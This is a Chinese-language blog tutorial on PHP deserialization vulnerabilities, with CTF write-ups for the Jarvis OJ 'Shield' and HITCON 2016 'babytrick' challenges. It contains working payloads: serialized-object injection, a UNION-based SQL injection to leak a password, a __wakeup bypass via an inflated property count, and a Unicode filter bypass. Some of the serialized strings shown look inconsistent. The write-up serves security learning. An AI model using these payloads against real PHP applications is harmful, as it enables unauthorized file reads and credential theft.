PHP反序列化漏洞研究

≯℡__Kan透↙ 提交于 2019-11-26 13:39:13

序列化

序列化说通俗点就是把一个对象变成可以传输的字符串

php serialize()函数

用于序列化对象或数组,并返回一个字符串。序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。

<?php $sites = array('Google', 'Microsoft', 'Facebook'); $serialized_data = serialize($sites); echo  $serialized_data . PHP_EOL; ?>

输出:

a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}
解释 a: 代表数组(如果是o就代表对象(object)) 3: 代表数组里面有3个变量 i: 代表数据类型(i:int;s:string) 6: 代表数据长度

反序列化

php unserialize()函数

用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

<?php $str = 'a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}'; $unserialized_data = unserialize($str); print_r($unserialized_data); ?>

输出:

Array ( [0] => Google [1] => Microsoft [2] => Facebook )

魔法方法

在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用。即所谓的魔法函数。在这里主要涉及以下几个:

__construct()...........在每次创建新对象时先调用  __destruct()............某个对象的所有引用都被删除或者当对象被显式销毁时执行  __toString()............用于一个类被当成字符串时应怎样回应  __sleep() ..............在被序列化之前运行  __wakeup()..............反序列化时被调用

实例分析

Jarvis 神盾局的秘密

通过php文件包含漏洞获得源码,这里仅介绍后面的php反序列化漏洞部分

index.php:

<?php      require_once('shield.php');     $x = new Shield();     isset($_GET['class']) && $g = $_GET['class'];     if (!empty($g)) {         $x = unserialize($g);     }     echo $x->readfile(); ?>

shield.php

<?php     //flag is in pctf.php     class Shield {         public $file;         function __construct($filename = '') {             $this -> file = $filename;         }                  function readfile() {             if (!empty($this->file) && stripos($this->file,'..')===FALSE               && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {                 return @file_get_contents($this->file);             }         }     } ?>

__construct函数在实例被创建的时候(也就是new Shield()的时候)执行,所以不会影响对$file的操作

<?php     //flag is in pctf.php     class Shield {         public $file;         function __construct($filename = '') {             $this -> file = $filename;         }                  function readfile() {             if (!empty($this->file) && stripos($this->file,'..')===FALSE               && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {                 return @file_get_contents($this->file);             }         }     }     $shield=new Shield('pctf.php');     echo serialize($shield); ?>

输出:

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

payload:

http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

Hitcon-ctf-2016 babytrick

https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick

<?php //include:将 PHP 文件的内容插入另一个 PHP 文件 include "config.php"; class HITCON{     //private:被private修饰的变量和方法,只能在所在的类的内部被调用和修改,不可以在类的外部被访问。在子类中也不可以。     private $method;     private $args;     private $conn;     //定义一个构造方法初始化赋值     public function __construct($method, $args) {         $this->method = $method;         $this->args = $args;         $this->__conn();     }     function show() {         list($username) = func_get_args();         //sprint:把格式化的字符串写入一个变量中         $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);         $obj = $this->__query($sql);         if ( $obj != false  ) {             $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );         } else {             $this->__die("Nobody Nobody But You!");         }              }     function login() {         global $FLAG;         list($username, $password) = func_get_args();         //trim:移除字符串两侧的空白字符或其他预定义字符         //mysql_escape_string:转义特殊字符         $username = strtolower(trim(mysql_escape_string($username)));         $password = strtolower(trim(mysql_escape_string($password)));         $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);         //stripos:查找字符串第一次出现的位置         if ( $username == 'orange' || stripos($sql, 'orange') != false ) {             $this->__die("Orange is so shy. He do not want to see you.");         }         $obj = $this->__query($sql);         if ( $obj != false && $obj->role == 'admin'  ) {             $this->__die("Hi, Orange! Here is your flag: " . $FLAG);         } else {             $this->__die("Admin only!");         }     }     function source() {         //highlight_file:对文件进行语法高亮显示         highlight_file(__FILE__);     }     function __conn() {         global $db_host, $db_name, $db_user, $db_pass, $DEBUG;         if (!$this->conn)             $this->conn = mysql_connect($db_host, $db_user, $db_pass);         mysql_select_db($db_name, $this->conn);         if ($DEBUG) {             $sql = "CREATE TABLE IF NOT EXISTS users (                          username VARCHAR(64),                          password VARCHAR(64),                          role VARCHAR(64)                     ) CHARACTER SET utf8";             $this->__query($sql, $back=false);             $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";             $this->__query($sql, $back=false);         }          mysql_query("SET names utf8");         mysql_query("SET sql_mode = 'strict_all_tables'");     }     function __query($sql, $back=true) {         $result = @mysql_query($sql);         if ($back) {             return @mysql_fetch_object($result);         }     }     function __die($msg) {         $this->__close();         header("Content-Type: application/json");         die( json_encode( array("msg"=> $msg) ) );     }     function __close() {         mysql_close($this->conn);     }     function __destruct() {         $this->__conn();         if (in_array($this->method, array("show", "login", "source"))) {             @call_user_func_array(array($this, $this->method), $this->args);         } else {             $this->__die("What do you do?");         }         $this->__close();     }     function __wakeup() {         foreach($this->args as $k => $v) {             $this->args[$k] = strtolower(trim(mysql_escape_string($v)));         }     } } if(isset($_GET["data"])) {     @unserialize($_GET["data"]);     } else {     new HITCON("source", array()); } ?>

源码审计:

php反序列化漏洞、对象注入,unserialize函数没有过滤而__wakeup函数进行了过滤,绕过__wakeup函数:对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行(参考链接4)

首先传入参数data需要构造序列化,通过sql注入获取orange用户的数据库密码

show()

function show() {     list($username) = func_get_args();     //sprint:把格式化的字符串写入一个变量中     $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);     $obj = $this->__query($sql);     if ( $obj != false  ) {         $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );     } else {         $this->__die("Nobody Nobody But You!");     }  }

通过分析show方法,构造如下:

payload:

<?php class HITCON{     private $method="show";     private $args=array("yoloyanng' union select password,username,role from users where username = 'orange' -- ");     private $conn=1; } $hit = new HITCON(); $result = serialize($hit); var_dump($result); ?>

执行的sql语句为:

SELECT * FROM users WHERE username='lll' union select password,username,role from users where username = 'orange' -- '

疑问:不知为何username的值也是有限制,输入一些其他的字符并不能够得到结果

得到:

O:6:"HITCON":2:{s:14:"HITCONmethod";s:4:"show";s:12:"HITCONargs";a:1:{i:0;s:87:"lll' union select password,username,role from users where username = 'orange' -- ";}}s:12:"HITCONconn";i:1;}

构造如下:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"lll' union select password,username,role from users where username='orange' -- ";}}s:12:"%00HITCON%00conn";i:1;}

说明:至于为什么加上%00:当字符串为private类型时,序列化时生成的序列化字符串中类名前后会有0×00

得到:{"msg":"root is admin"}

login()

function login() {     global $FLAG;      list($username, $password) = func_get_args();     $username = strtolower(trim(mysql_escape_string($username)));     $password = strtolower(trim(mysql_escape_string($password)));      $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);      if ( $username == 'orange' || stripos($sql, 'orange') != false ) {         $this->__die("Orange is so shy. He do not want to see you.");     }      $obj = $this->__query($sql);     if ( $obj != false && $obj->role == 'admin'  ) {         $this->__die("Hi, Orange! Here is your flag: " . $FLAG);     } else {         $this->__die("Admin only!");     } }
 if ( $username == 'orange' || stripos($sql, 'orange') != false )

可以看到对于用户名进行了过滤,可以参考连接3的绕过方法

payload:

<?php class HITCON{     private $method;     private $args;     public function __construct($method, $args) {         $this->method = $method;         $this->args = $args;     } } $args['username'] = 'orÃnge'; $args['password'] = 'root'; $data = new HITCON('login',$args); var_dump(serialize($data)); ?>

得到:

O:6:"HITCON":2:{s:14:"HITCONmethod";s:5:"login";s:12:"HITCONargs";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}

构造:

O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}

{"msg":"Hi, Orange! Here is your flag: HITCON{php 4nd mysq1 are s0 mag1c, isn't it?}"}

参考

(1)https://www.freebuf.com/articles/web/167721.html

(2)https://blog.csdn.net/qq_40996739/article/details/82724602

(3)https://blog.spoock.com/2016/11/08/hitcon-babytrick-writeup/

(4)https://www.freebuf.com/vuls/116705.html

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!